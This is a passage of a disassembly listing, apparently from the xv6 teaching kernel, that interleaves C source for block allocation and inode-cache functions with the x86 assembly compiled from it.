<balloc+0xf7> m = 1 << (bi % 8); 8010146b: 8b 45 f0 mov -0x10(%ebp),%eax 8010146e: 99 cltd 8010146f: c1 ea 1d shr $0x1d,%edx 80101472: 01 d0 add %edx,%eax 80101474: 83 e0 07 and $0x7,%eax 80101477: 29 d0 sub %edx,%eax 80101479: ba 01 00 00 00 mov $0x1,%edx 8010147e: 89 c1 mov %eax,%ecx 80101480: d3 e2 shl %cl,%edx 80101482: 89 d0 mov %edx,%eax 80101484: 89 45 e8 mov %eax,-0x18(%ebp) if((bp->data[bi/8] & m) == 0){ // Is block free? 80101487: 8b 45 f0 mov -0x10(%ebp),%eax 8010148a: 8d 50 07 lea 0x7(%eax),%edx 8010148d: 85 c0 test %eax,%eax 8010148f: 0f 48 c2 cmovs %edx,%eax 80101492: c1 f8 03 sar $0x3,%eax 80101495: 89 c2 mov %eax,%edx 80101497: 8b 45 ec mov -0x14(%ebp),%eax 8010149a: 0f b6 44 10 18 movzbl 0x18(%eax,%edx,1),%eax 8010149f: 0f b6 c0 movzbl %al,%eax 801014a2: 23 45 e8 and -0x18(%ebp),%eax 801014a5: 85 c0 test %eax,%eax 801014a7: 75 64 jne 8010150d <balloc+0xf3> bp->data[bi/8] |= m; // Mark block in use. 801014a9: 8b 45 f0 mov -0x10(%ebp),%eax 801014ac: 8d 50 07 lea 0x7(%eax),%edx 801014af: 85 c0 test %eax,%eax 801014b1: 0f 48 c2 cmovs %edx,%eax 801014b4: c1 f8 03 sar $0x3,%eax 801014b7: 8b 55 ec mov -0x14(%ebp),%edx 801014ba: 0f b6 54 02 18 movzbl 0x18(%edx,%eax,1),%edx 801014bf: 89 d1 mov %edx,%ecx 801014c1: 8b 55 e8 mov -0x18(%ebp),%edx 801014c4: 09 ca or %ecx,%edx 801014c6: 89 d1 mov %edx,%ecx 801014c8: 8b 55 ec mov -0x14(%ebp),%edx 801014cb: 88 4c 02 18 mov %cl,0x18(%edx,%eax,1) log_write(bp); 801014cf: 83 ec 0c sub $0xc,%esp 801014d2: ff 75 ec pushl -0x14(%ebp) 801014d5: e8 ab 22 00 00 call 80103785 <log_write> 801014da: 83 c4 10 add $0x10,%esp brelse(bp); 801014dd: 83 ec 0c sub $0xc,%esp 801014e0: ff 75 ec pushl -0x14(%ebp) 801014e3: e8 46 ed ff ff call 8010022e <brelse> 801014e8: 83 c4 10 add $0x10,%esp bzero(dev, b + bi); 801014eb: 8b 55 f4 mov -0xc(%ebp),%edx 801014ee: 8b 45 f0 mov -0x10(%ebp),%eax 801014f1: 01 c2 add %eax,%edx 801014f3: 8b 45 08 mov 0x8(%ebp),%eax 801014f6: 83 ec 08 sub $0x8,%esp 801014f9: 52 push %edx 801014fa: 50 push %eax 801014fb: e8 c6 fe ff ff call 801013c6 <bzero> 80101500: 83 c4 10 add $0x10,%esp return b + bi; 80101503: 8b 55 f4 mov -0xc(%ebp),%edx 80101506: 8b 45 f0 mov -0x10(%ebp),%eax 80101509: 01 d0 add %edx,%eax 8010150b: eb 57 jmp 80101564 <balloc+0x14a> struct buf *bp; bp = 0; for(b = 0; b < sb.size; b += BPB){ bp = bread(dev, BBLOCK(b, sb)); for(bi = 0; bi < BPB && b + bi < sb.size; bi++){ 8010150d: 83 45 f0 01 addl $0x1,-0x10(%ebp) 80101511: 81 7d f0 ff 0f 00 00 cmpl $0xfff,-0x10(%ebp) 80101518: 7f 17 jg 80101531 <balloc+0x117> 8010151a: 8b 55 f4 mov -0xc(%ebp),%edx 8010151d: 8b 45 f0 mov -0x10(%ebp),%eax 80101520: 01 d0 add %edx,%eax 80101522: 89 c2 mov %eax,%edx 80101524: a1 00 2c 11 80 mov 0x80112c00,%eax 80101529: 39 c2 cmp %eax,%edx 8010152b: 0f 82 3a ff ff ff jb 8010146b <balloc+0x51> brelse(bp); bzero(dev, b + bi); return b + bi; } } brelse(bp); 80101531: 83 ec 0c sub $0xc,%esp 80101534: ff 75 ec pushl -0x14(%ebp) 80101537: e8 f2 ec ff ff call 8010022e <brelse> 8010153c: 83 c4 10 add $0x10,%esp { int b, bi, m; struct buf *bp; bp = 0; for(b = 0; b < sb.size; b += BPB){ 8010153f: 81 45 f4 00 10 00 00 addl $0x1000,-0xc(%ebp) 80101546: 8b 15 00 2c 11 80 mov 0x80112c00,%edx 8010154c: 8b 45 f4 mov -0xc(%ebp),%eax 8010154f: 39 c2 cmp %eax,%edx 80101551: 0f 87 dc fe ff ff ja 80101433 <balloc+0x19> return b + bi; } } brelse(bp); } panic("balloc: out of blocks"); 80101557: 83 ec 0c sub $0xc,%esp 8010155a: 68 bc 89 10 80 push $0x801089bc 8010155f: e8 02 f0 ff ff call 80100566 <panic> } 80101564: c9 leave 80101565: c3 ret 80101566 <bfree>: // Free a disk block. static void bfree(int dev, uint b) { 80101566: 55 push %ebp 80101567: 89 e5 mov %esp,%ebp 80101569: 83 ec 18 sub $0x18,%esp struct buf *bp; int bi, m; readsb(dev, &sb); 8010156c: 83 ec 08 sub $0x8,%esp 8010156f: 68 00 2c 11 80 push $0x80112c00 80101574: ff 75 08 pushl 0x8(%ebp) 80101577: e8 08 fe ff ff call 80101384 <readsb> 8010157c: 83 c4 10 add $0x10,%esp bp = bread(dev, BBLOCK(b, sb)); 8010157f: 8b 45 0c mov 0xc(%ebp),%eax 80101582: c1 e8 0c shr $0xc,%eax 80101585: 89 c2 mov %eax,%edx 80101587: a1 18 2c 11 80 mov 0x80112c18,%eax 8010158c: 01 c2 add %eax,%edx 8010158e: 8b 45 08 mov 0x8(%ebp),%eax 80101591: 83 ec 08 sub $0x8,%esp 80101594: 52 push %edx 80101595: 50 push %eax 80101596: e8 1b ec ff ff call 801001b6 <bread> 8010159b: 83 c4 10 add $0x10,%esp 8010159e: 89 45 f4 mov %eax,-0xc(%ebp) bi = b % BPB; 801015a1: 8b 45 0c mov 0xc(%ebp),%eax 801015a4: 25 ff 0f 00 00 and $0xfff,%eax 801015a9: 89 45 f0 mov %eax,-0x10(%ebp) m = 1 << (bi % 8); 801015ac: 8b 45 f0 mov -0x10(%ebp),%eax 801015af: 99 cltd 801015b0: c1 ea 1d shr $0x1d,%edx 801015b3: 01 d0 add %edx,%eax 801015b5: 83 e0 07 and $0x7,%eax 801015b8: 29 d0 sub %edx,%eax 801015ba: ba 01 00 00 00 mov $0x1,%edx 801015bf: 89 c1 mov %eax,%ecx 801015c1: d3 e2 shl %cl,%edx 801015c3: 89 d0 mov %edx,%eax 801015c5: 89 45 ec mov %eax,-0x14(%ebp) if((bp->data[bi/8] & m) == 0) 801015c8: 8b 45 f0 mov -0x10(%ebp),%eax 801015cb: 8d 50 07 lea 0x7(%eax),%edx 801015ce: 85 c0 test %eax,%eax 801015d0: 0f 48 c2 cmovs %edx,%eax 801015d3: c1 f8 03 sar $0x3,%eax 801015d6: 89 c2 mov %eax,%edx 801015d8: 8b 45 f4 mov -0xc(%ebp),%eax 801015db: 0f b6 44 10 18 movzbl 0x18(%eax,%edx,1),%eax 801015e0: 0f b6 c0 movzbl %al,%eax 801015e3: 23 45 ec and -0x14(%ebp),%eax 801015e6: 85 c0 test %eax,%eax 801015e8: 75 0d jne 801015f7 <bfree+0x91> panic("freeing free block"); 801015ea: 83 ec 0c sub $0xc,%esp 801015ed: 68 d2 89 10 80 push $0x801089d2 801015f2: e8 6f ef ff ff call 80100566 <panic> bp->data[bi/8] &= ~m; 801015f7: 8b 45 f0 mov -0x10(%ebp),%eax 801015fa: 8d 50 07 lea 0x7(%eax),%edx 801015fd: 85 c0 test %eax,%eax 801015ff: 0f 48 c2 cmovs %edx,%eax 80101602: c1 f8 03 sar $0x3,%eax 80101605: 8b 55 f4 mov -0xc(%ebp),%edx 80101608: 0f b6 54 02 18 movzbl 0x18(%edx,%eax,1),%edx 8010160d: 89 d1 mov %edx,%ecx 8010160f: 8b 55 ec mov -0x14(%ebp),%edx 80101612: f7 d2 not %edx 80101614: 21 ca and %ecx,%edx 80101616: 89 d1 mov %edx,%ecx 80101618: 8b 55 f4 mov -0xc(%ebp),%edx 8010161b: 88 4c 02 18 mov %cl,0x18(%edx,%eax,1) log_write(bp); 8010161f: 83 ec 0c sub $0xc,%esp 80101622: ff 75 f4 pushl -0xc(%ebp) 80101625: e8 5b 21 00 00 call 80103785 <log_write> 8010162a: 83 c4 10 add $0x10,%esp brelse(bp); 8010162d: 83 ec 0c sub $0xc,%esp 80101630: ff 75 f4 pushl -0xc(%ebp) 80101633: e8 f6 eb ff ff call 8010022e <brelse> 80101638: 83 c4 10 add $0x10,%esp } 8010163b: 90 nop 8010163c: c9 leave 8010163d: c3 ret 8010163e <iinit>: struct inode inode[NINODE]; } icache; void iinit(int dev) { 8010163e: 55 push %ebp 8010163f: 89 e5 mov %esp,%ebp 80101641: 57 push %edi 80101642: 56 push %esi 80101643: 53 push %ebx 80101644: 83 ec 1c sub $0x1c,%esp initlock(&icache.lock, "icache"); 80101647: 83 ec 08 sub $0x8,%esp 8010164a: 68 e5 89 10 80 push $0x801089e5 8010164f: 68 20 2c 11 80 push $0x80112c20 80101654: e8 bb 3a 00 00 call 80105114 <initlock> 80101659: 83 c4 10 add $0x10,%esp readsb(dev, &sb); 8010165c: 83 ec 08 sub $0x8,%esp 8010165f: 68 00 2c 11 80 push $0x80112c00 80101664: ff 75 08 pushl 0x8(%ebp) 80101667: e8 18 fd ff ff call 80101384 <readsb> 8010166c: 83 c4 10 add $0x10,%esp cprintf("sb: size %d nblocks %d ninodes %d nlog %d logstart %d inodestart %d bmap start %d\n", sb.size, 8010166f: a1 18 2c 11 80 mov 0x80112c18,%eax 80101674: 89 45 e4 mov %eax,-0x1c(%ebp) 80101677: 8b 3d 14 2c 11 80 mov 0x80112c14,%edi 8010167d: 8b 35 10 2c 11 80 mov 0x80112c10,%esi 80101683: 8b 1d 0c 2c 11 80 mov 0x80112c0c,%ebx 80101689: 8b 0d 08 2c 11 80 mov 0x80112c08,%ecx 8010168f: 8b 15 04 2c 11 80 mov 0x80112c04,%edx 80101695: a1 00 2c 11 80 mov 0x80112c00,%eax 8010169a: ff 75 e4 pushl -0x1c(%ebp) 8010169d: 57 push %edi 8010169e: 56 push %esi 8010169f: 53 push %ebx 801016a0: 51 push %ecx 801016a1: 52 push %edx 801016a2: 50 push %eax 801016a3: 68 ec 89 10 80 push $0x801089ec 801016a8: e8 19 ed ff ff call 801003c6 <cprintf> 801016ad: 83 c4 20 add $0x20,%esp sb.nblocks, sb.ninodes, sb.nlog, sb.logstart, sb.inodestart, sb.bmapstart); } 801016b0: 90 nop 801016b1: 8d 65 f4 lea -0xc(%ebp),%esp 801016b4: 5b pop %ebx 801016b5: 5e pop %esi 801016b6: 5f pop %edi 801016b7: 5d pop %ebp 801016b8: c3 ret 801016b9 <ialloc>: //PAGEBREAK! // Allocate a new inode with the given type on device dev. // A free inode has a type of zero. struct inode* ialloc(uint dev, short type) { 801016b9: 55 push %ebp 801016ba: 89 e5 mov %esp,%ebp 801016bc: 83 ec 28 sub $0x28,%esp 801016bf: 8b 45 0c mov 0xc(%ebp),%eax 801016c2: 66 89 45 e4 mov %ax,-0x1c(%ebp) int inum; struct buf *bp; struct dinode *dip; for(inum = 1; inum < sb.ninodes; inum++){ 801016c6: c7 45 f4 01 00 00 00 movl $0x1,-0xc(%ebp) 801016cd: e9 9e 00 00 00 jmp 80101770 <ialloc+0xb7> bp = bread(dev, IBLOCK(inum, sb)); 801016d2: 8b 45 f4 mov -0xc(%ebp),%eax 801016d5: c1 e8 03 shr $0x3,%eax 801016d8: 89 c2 mov %eax,%edx 801016da: a1 14 2c 11 80 mov 0x80112c14,%eax 801016df: 01 d0 add %edx,%eax 801016e1: 83 ec 08 sub $0x8,%esp 801016e4: 50 push %eax 801016e5: ff 75 08 pushl 0x8(%ebp) 801016e8: e8 c9 ea ff ff call 801001b6 <bread> 801016ed: 83 c4 10 add $0x10,%esp 801016f0: 89 45 f0 mov %eax,-0x10(%ebp) dip = (struct dinode*)bp->data + inum%IPB; 801016f3: 8b 45 f0 mov -0x10(%ebp),%eax 801016f6: 8d 50 18 lea 0x18(%eax),%edx 801016f9: 8b 45 f4 mov -0xc(%ebp),%eax 801016fc: 83 e0 07 and $0x7,%eax 801016ff: c1 e0 06 shl $0x6,%eax 80101702: 01 d0 add %edx,%eax 80101704: 89 45 ec mov %eax,-0x14(%ebp) if(dip->type == 0){ // a free inode 80101707: 8b 45 ec mov -0x14(%ebp),%eax 8010170a: 0f b7 00 movzwl (%eax),%eax 8010170d: 66 85 c0 test %ax,%ax 80101710: 75 4c jne 8010175e <ialloc+0xa5> memset(dip, 0, sizeof(*dip)); 80101712: 83 ec 04 sub $0x4,%esp 80101715: 6a 40 push $0x40 80101717: 6a 00 push $0x0 80101719: ff 75 ec pushl -0x14(%ebp) 8010171c: e8 78 3c 00 00 call 80105399 <memset> 80101721: 83 c4 10 add $0x10,%esp dip->type = type; 80101724: 8b 45 ec mov -0x14(%ebp),%eax 80101727: 0f b7 55 e4 movzwl -0x1c(%ebp),%edx 8010172b: 66 89 10 mov %dx,(%eax) log_write(bp); // mark it allocated on the disk 8010172e: 83 ec 0c sub $0xc,%esp 80101731: ff 75 f0 pushl -0x10(%ebp) 80101734: e8 4c 20 00 00 call 80103785 <log_write> 80101739: 83 c4 10 add $0x10,%esp brelse(bp); 8010173c: 83 ec 0c sub $0xc,%esp 8010173f: ff 75 f0 pushl -0x10(%ebp) 80101742: e8 e7 ea ff ff call 8010022e <brelse> 80101747: 83 c4 10 add $0x10,%esp return iget(dev, inum); 8010174a: 8b 45 f4 mov -0xc(%ebp),%eax 8010174d: 83 ec 08 sub $0x8,%esp 80101750: 50 push %eax 80101751: ff 75 08 pushl 0x8(%ebp) 80101754: e8 f8 00 00 00 call 80101851 <iget> 80101759: 83 c4 10 add $0x10,%esp 8010175c: eb 30 jmp 8010178e <ialloc+0xd5> } brelse(bp); 8010175e: 83 ec 0c sub $0xc,%esp 80101761: ff 75 f0 pushl -0x10(%ebp) 80101764: e8 c5 ea ff ff call 8010022e <brelse> 80101769: 83 c4 10 add $0x10,%esp { int inum; struct buf *bp; struct dinode *dip; for(inum = 1; inum < sb.ninodes; inum++){ 8010176c: 83 45 f4 01 addl $0x1,-0xc(%ebp) 80101770: 8b 15 08 2c 11 80 mov 0x80112c08,%edx 80101776: 8b 45 f4 mov -0xc(%ebp),%eax 80101779: 39 c2 cmp %eax,%edx 8010177b: 0f 87 51 ff ff ff ja 801016d2 <ialloc+0x19> brelse(bp); return iget(dev, inum); } brelse(bp); } panic("ialloc: no inodes"); 80101781: 83 ec 0c sub $0xc,%esp 80101784: 68 3f 8a 10 80 push $0x80108a3f 80101789: e8 d8 ed ff ff call 80100566 <panic> } 8010178e: c9 leave 8010178f: c3 ret 80101790 <iupdate>: // Copy a modified in-memory inode to disk. void iupdate(struct inode *ip) { 80101790: 55 push %ebp 80101791: 89 e5 mov %esp,%ebp 80101793: 83 ec 18 sub $0x18,%esp struct buf *bp; struct dinode *dip; bp = bread(ip->dev, IBLOCK(ip->inum, sb)); 80101796: 8b 45 08 mov 0x8(%ebp),%eax 80101799: 8b 40 04 mov 0x4(%eax),%eax 8010179c: c1 e8 03 shr $0x3,%eax 8010179f: 89 c2 mov %eax,%edx 801017a1: a1 14 2c 11 80 mov 0x80112c14,%eax 801017a6: 01 c2 add %eax,%edx 801017a8: 8b 45 08 mov 0x8(%ebp),%eax 801017ab: 8b 00 mov (%eax),%eax 801017ad: 83 ec 08 sub $0x8,%esp 801017b0: 52 push %edx 801017b1: 50 push %eax 801017b2: e8 ff e9 ff ff call 801001b6 <bread> 801017b7: 83 c4 10 add $0x10,%esp 801017ba: 89 45 f4 mov %eax,-0xc(%ebp) dip = (struct dinode*)bp->data + ip->inum%IPB; 801017bd: 8b 45 f4 mov -0xc(%ebp),%eax 801017c0: 8d 50 18 lea 0x18(%eax),%edx 801017c3: 8b 45 08 mov 0x8(%ebp),%eax 801017c6: 8b 40 04 mov 0x4(%eax),%eax 801017c9: 83 e0 07 and $0x7,%eax 801017cc: c1 e0 06 shl $0x6,%eax 801017cf: 01 d0 add %edx,%eax 801017d1: 89 45 f0 mov %eax,-0x10(%ebp) dip->type = ip->type; 801017d4: 8b 45 08 mov 0x8(%ebp),%eax 801017d7: 0f b7 50 10 movzwl 0x10(%eax),%edx 801017db: 8b 45 f0 mov -0x10(%ebp),%eax 801017de: 66 89 10 mov %dx,(%eax) dip->major = ip->major; 801017e1: 8b 45 08 mov 0x8(%ebp),%eax 801017e4: 0f b7 50 12 movzwl 0x12(%eax),%edx 801017e8: 8b 45 f0 mov -0x10(%ebp),%eax 801017eb: 66 89 50 02 mov %dx,0x2(%eax) dip->minor = ip->minor; 801017ef: 8b 45 08 mov 0x8(%ebp),%eax 801017f2: 0f b7 50 14 movzwl 0x14(%eax),%edx 801017f6: 8b 45 f0 mov -0x10(%ebp),%eax 801017f9: 66 89 50 04 mov %dx,0x4(%eax) dip->nlink = ip->nlink; 801017fd: 8b 45 08 mov 0x8(%ebp),%eax 80101800: 0f b7 50 16 movzwl 0x16(%eax),%edx 80101804: 8b 45 f0 mov -0x10(%ebp),%eax 80101807: 66 89 50 06 mov %dx,0x6(%eax) dip->size = ip->size; 8010180b: 8b 45 08 mov 0x8(%ebp),%eax 8010180e: 8b 50 18 mov 0x18(%eax),%edx 80101811: 8b 45 f0 mov -0x10(%ebp),%eax 80101814: 89 50 08 mov %edx,0x8(%eax) memmove(dip->addrs, ip->addrs, sizeof(ip->addrs)); 80101817: 8b 45 08 mov 0x8(%ebp),%eax 8010181a: 8d 50 1c lea 0x1c(%eax),%edx 8010181d: 8b 45 f0 mov -0x10(%ebp),%eax 80101820: 83 c0 0c add $0xc,%eax 80101823: 83 ec 04 sub $0x4,%esp 80101826: 6a 34 push $0x34 80101828: 52 push %edx 80101829: 50 push %eax 8010182a: e8 29 3c 00 00 call 80105458 <memmove> 8010182f: 83 c4 10 add $0x10,%esp log_write(bp); 80101832: 83 ec 0c sub $0xc,%esp 80101835: ff 75 f4 pushl -0xc(%ebp) 80101838: e8 48 1f 00 00 call 80103785 <log_write> 8010183d: 83 c4 10 add $0x10,%esp brelse(bp); 80101840: 83 ec 0c sub $0xc,%esp 80101843: ff 75 f4 pushl -0xc(%ebp) 80101846: e8 e3 e9 ff ff call 8010022e <brelse> 8010184b: 83 c4 10 add $0x10,%esp } 8010184e: 90 nop 8010184f: c9 leave 80101850: c3 ret 80101851 <iget>: // Find the inode with number inum on device dev // and return the in-memory copy. Does not lock // the inode and does not read it from disk. static struct inode* iget(uint dev, uint inum) { 80101851: 55 push %ebp 80101852: 89 e5 mov %esp,%ebp 80101854: 83 ec 18 sub $0x18,%esp struct inode *ip, *empty; acquire(&icache.lock); 80101857: 83 ec 0c sub $0xc,%esp 8010185a: 68 20 2c 11 80 push $0x80112c20 8010185f: e8 d2 38 00 00 call 80105136 <acquire> 80101864: 83 c4 10 add $0x10,%esp // Is the inode already cached? empty = 0; 80101867: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp) for(ip = &icache.inode[0]; ip < &icache.inode[NINODE]; ip++){ 8010186e: c7 45 f4 54 2c 11 80 movl $0x80112c54,-0xc(%ebp) 80101875: eb 5d jmp 801018d4 <iget+0x83> if(ip->ref > 0 && ip->dev == dev && ip->inum == inum){ 80101877: 8b 45 f4 mov -0xc(%ebp),%eax 8010187a: 8b 40 08 mov 0x8(%eax),%eax 8010187d: 85 c0 test %eax,%eax 8010187f: 7e 39 jle 801018ba <iget+0x69> 80101881: 8b 45 f4 mov -0xc(%ebp),%eax 80101884: 8b 00 mov (%eax),%eax 80101886: 3b 45 08 cmp 0x8(%ebp),%eax 80101889: 75 2f jne 801018ba <iget+0x69> 8010188b: 8b 45 f4 mov -0xc(%ebp),%eax 8010188e: 8b 40 04 mov 0x4(%eax),%eax 80101891: 3b 45 0c cmp 0xc(%ebp),%eax 80101894: 75 24 jne 801018ba <iget+0x69> ip->ref++; 80101896: 8b 45 f4 mov -0xc(%ebp),%eax 80101899: 8b 40 08 mov 0x8(%eax),%eax 8010189c: 8d 50 01 lea 0x1(%eax),%edx 8010189f: 8b 45 f4 mov -0xc(%ebp),%eax 801018a2: 89 50 08 mov %edx,0x8(%eax) release(&icache.lock); 801018a5: 83 ec 0c sub $0xc,%esp 801018a8: 68 20 2c 11 80 push $0x80112c20 801018ad: e8 eb 38 00 00 call 8010519d <release> 801018b2: 83 c4 10 add $0x10,%esp return ip; 801018b5: 8b 45 f4 mov -0xc(%ebp),%eax 801018b8: eb 74 jmp 8010192e <iget+0xdd> } if(empty == 0 && ip->ref == 0) // Remember empty slot. 801018ba: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) 801018be: 75 10 jne 801018d0 <iget+0x7f> 801018c0: 8b 45 f4 mov -0xc(%ebp),%eax 801018c3: 8b 40 08 mov 0x8(%eax),%eax 801018c6: 85 c0 test %eax,%eax 801018c8: 75 06 jne 801018d0 <iget+0x7f> empty = ip; 801018ca: 8b 45 f4 mov -0xc(%ebp),%eax 801018cd: 89 45 f0 mov %eax,-0x10(%ebp) acquire(&icache.lock); // Is the inode already cached? empty = 0; for(ip = &icache.inode[0]; ip < &icache.inode[NINODE]; ip++){ 801018d0: 83 45 f4 50 addl $0x50,-0xc(%ebp) 801018d4: 81 7d f4 f4 3b 11 80 cmpl $0x80113bf4,-0xc(%ebp) 801018db: 72 9a jb 80101877 <iget+0x26> if(empty == 0 && ip->ref == 0) // Remember empty slot. empty = ip; } // Recycle an inode cache entry. if(empty == 0) 801018dd: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) 801018e1: 75 0d jne 801018f0 <iget+0x9f> panic("iget: no inodes"); 801018e3: 83 ec 0c sub $0xc,%esp 801018e6: 68 51 8a 10 80 push $0x80108a51 801018eb: e8 76 ec ff ff call 80100566 <panic> ip = empty; 801018f0: 8b 45 f0 mov -0x10(%ebp),%eax 801018f3: 89 45 f4 mov %eax,-0xc(%ebp) ip->dev = dev; 801018f6: 8b 45 f4 mov -0xc(%ebp),%eax 801018f9: 8b 55 08 mov 0x8(%ebp),%edx 801018fc: 89 10 mov %edx,(%eax) ip->inum = inum; 801018fe: 8b 45 f4 mov -0xc(%ebp),%eax 80101901: 8b 55 0c mov 0xc(%ebp),%edx 80101904: 89 50 04 mov %edx,0x4(%eax) ip->ref = 1; 80101907: 8b 45 f4 mov -0xc(%ebp),%eax 8010190a: c7 40 08 01 00 00 00 movl $0x1,0x8(%eax) ip->flags = 0; 80101911: 8b 45 f4 mov -0xc(%ebp),%eax 80101914: c7 40 0c 00 00 00 00 movl $0x0,0xc(%eax) release(&icache.lock); 8010191b: 83 ec 0c sub $0xc,%esp 8010191e: 68 20 2c 11 80 push $0x80112c20 80101923: e8 75 38 00 00 call 8010519d <release> 80101928: 83 c4 10 add $0x10,%esp return ip; 8010192b: 8b 45 f4 mov -0xc(%ebp),%eax } 8010192e: c9 leave 8010192f: c3 ret 80101930 <idup>: // Increment reference count for ip. // Returns ip to enable ip = idup(ip1) idiom. struct inode* idup(struct inode *ip) { 80101930: 55 push %ebp 80101931: 89 e5 mov %esp,%ebp 80101933: 83 ec 08 sub $0x8,%esp acquire(&icache.lock); 80101936: 83 ec 0c sub $0xc,%esp 80101939: 68 20 2c 11 80 push $0x80112c20 8010193e: e8 f3 37 00 00 call 80105136 <acquire> 80101943: 83 c4 10 add $0x10,%esp ip->ref++; 80101946: 8b 45 08 mov 0x8(%ebp),%eax 80101949: 8b 40 08 mov 0x8(%eax),%eax 8010194c: 8d 50 01 lea 0x1(%eax),%edx 8010194f: 8b 45 08 mov 0x8(%ebp),%eax 80101952: 89 50 08 mov %edx,0x8(%eax) release(&icache.lock); 80101955: 83 ec 0c sub $0xc,%esp 80101958: 68 20 2c 11 80 push $0x80112c20 8010195d: e8 3b 38 00 00 call 8010519d <release> 80101962: 83 c4 10 add $0x10,%esp return ip; 80101965: 8b 45 08 mov 0x8(%ebp),%eax } 80101968: c9 leave 80101969: c3 ret 8010196a <ilock>: // Lock the given inode. // Reads the inode from disk if necessary. void ilock(struct inode *ip) { 8010196a: 55 push %ebp 8010196b: 89 e5 mov %esp,%ebp 8010196d: 83 ec 18 sub $0x18,%esp struct buf *bp; struct dinode *dip; if(ip == 0 || ip->ref < 1) 80101970: 83 7d 08 00 cmpl $0x0,0x8(%ebp) 80101974: 74 0a je 80101980 <ilock+0x16> 80101976: 8b 45 08 mov 0x8(%ebp),%eax 80101979: 8b 40 08 mov 0x8(%eax),%eax 8010197c: 85 c0 test %eax,%eax 8010197e: 7f 0d jg 8010198d <ilock+0x23> panic("ilock"); 80101980: 83 ec 0c sub $0xc,%esp 80101983: 68 61 8a 10 80 push $0x80108a61 80101988: e8 d9 eb ff ff call 80100566 <panic> acquire(&icache.lock); 8010198d: 83 ec 0c sub $0xc,%esp 80101990: 68 20 2c 11 80 push $0x80112c20 80101995: e8 9c 37 00 00 call 80105136 <acquire> 8010199a: 83 c4 10 add $0x10,%esp while(ip->flags & I_BUSY) 8010199d: eb 13 jmp 801019b2 <ilock+0x48> sleep(ip, &icache.lock); 8010199f: 83 ec 08 sub $0x8,%esp 801019a2: 68 20 2c 11 80 push $0x80112c20 801019a7: ff 75 08 pushl 0x8(%ebp) 801019aa: e8 48 34 00 00 call 80104df7 <sleep> 801019af: 83 c4 10 add $0x10,%esp if(ip == 0 || ip->ref < 1) panic("ilock"); acquire(&icache.lock); while(ip->flags & I_BUSY) 801019b2: 8b 45 08 mov 0x8(%ebp),%eax 801019b5: 8b 40 0c mov 0xc(%eax),%eax 801019b8: 83 e0 01 and $0x1,%eax 801019bb: 85 c0 test %eax,%eax 801019bd: 75 e0 jne 8010199f <ilock+0x35> sleep(ip, &icache.lock); ip->flags |= I_BUSY; 801019bf: 8b 45 08 mov 0x8(%ebp),%eax 801019c2: 8b 40 0c mov 0xc(%eax),%eax 801019c5: 83 c8 01 or $0x1,%eax 801019c8: 89 c2 mov %eax,%edx 801019ca: 8b 45 08 mov 0x8(%ebp),%eax 801019cd: 89 50 0c mov %edx,0xc(%eax) release(&icache.lock); 801019d0: 83 ec 0c sub $0xc,%esp 801019d3: 68 20 2c 11 80 push $0x80112c20 801019d8: e8 c0 37 00 00 call 8010519d <release> 801019dd: 83 c4 10 add $0x10,%esp if(!(ip->flags & I_VALID)){ 801019e0: 8b 45 08 mov 0x8(%ebp),%eax 801019e3: 8b 40 0c mov 0xc(%eax),%eax 801019e6: 83 e0 02 and $0x2,%eax 801019e9: 85 c0 test %eax,%eax 801019eb: 0f 85 d4 00 00 00 jne 80101ac5 <ilock+0x15b> bp = bread(ip->dev, IBLOCK(ip->inum, sb)); 801019f1: 8b 45 08 mov 0x8(%ebp),%eax 801019f4: 8b 40 04 mov 0x4(%eax),%eax 801019f7: c1 e8 03 shr $0x3,%eax 801019fa: 89 c2 mov %eax,%edx 801019fc: a1 14 2c 11 80 mov 0x80112c14,%eax 80101a01: 01 c2 add %eax,%edx 80101a03: 8b 45 08 mov 0x8(%ebp),%eax 80101a06: 8b 00 mov (%eax),%eax 80101a08: 83 ec 08 sub $0x8,%esp 80101a0b: 52 push %edx 80101a0c: 50 push %eax 80101a0d: e8 a4 e7 ff ff call 801001b6 <bread> 80101a12: 83 c4 10 add $0x10,%esp 80101a15: 89 45 f4 mov %eax,-0xc(%ebp) dip = (struct dinode*)bp->data + ip->inum%IPB; 80101a18: 8b 45 f4 mov -0xc(%ebp),%eax 80101a1b: 8d 50 18 lea 0x18(%eax),%edx 80101a1e: 8b 45 08 mov 0x8(%ebp),%eax 80101a21: 8b 40 04 mov 0x4(%eax),%eax 80101a24: 83 e0 07 and $0x7,%eax 80101a27: c1 e0 06 shl $0x6,%eax 80101a2a: 01 d0 add %edx,%eax 80101a2c: 89 45 f0 mov %eax,-0x10(%ebp) ip->type = dip->type; 80101a2f: 8b 45 f0 mov -0x10(%ebp),%eax 80101a32: 0f b7 10 movzwl (%eax),%edx 80101a35: 8b 45 08 mov 0x8(%ebp),%eax 80101a38: 66 89 50 10 mov %dx,0x10(%eax) ip->major = dip->major; 80101a3c: 8b 45 f0 mov -0x10(%ebp),%eax 80101a3f: 0f b7 50 02 movzwl 0x2(%eax),%edx 80101a43: 8b 45 08 mov 0x8(%ebp),%eax 80101a46: 66 89 50 12 mov %dx,0x12(%eax) ip->minor = dip->minor; 80101a4a: 8b 45 f0 mov -0x10(%ebp),%eax 80101a4d: 0f b7 50 04 movzwl 0x4(%eax),%edx 80101a51: 8b 45 08 mov 0x8(%ebp),%eax 80101a54: 66 89 50 14 mov %dx,0x14(%eax) ip->nlink = dip->nlink; 80101a58: 8b 45 f0 mov -0x10(%ebp),%eax 80101a5b: 0f b7 50 06 movzwl 0x6(%eax),%edx 80101a5f: 8b 45 08 mov 0x8(%ebp),%eax 80101a62: 66 89 50 16 mov %dx,0x16(%eax) ip->size = dip->size; 80101a66: 8b 45 f0 mov -0x10(%ebp),%eax 80101a69: 8b 50 08 mov 0x8(%eax),%edx 80101a6c: 8b 45 08 mov 0x8(%ebp),%eax 80101a6f: 89 50 18 mov %edx,0x18(%eax) memmove(ip->addrs, dip->addrs, sizeof(ip->addrs)); 80101a72: 8b 45 f0 mov -0x10(%ebp),%eax 80101a75: 8d 50 0c lea 0xc(%eax),%edx 80101a78: 8b 45 08 mov 0x8(%ebp),%eax 80101a7b: 83 c0 1c add $0x1c,%eax 80101a7e: 83 ec 04 sub $0x4,%esp 80101a81: 6a 34 push $0x34 80101a83: 52 push %edx 80101a84: 50 push %eax 80101a85: e8 ce 39 00 00 call 80105458 <memmove> 80101a8a: 83 c4 10 add $0x10,%esp brelse(bp); 80101a8d: 83 ec 0c sub $0xc,%esp 80101a90: ff 75 f4 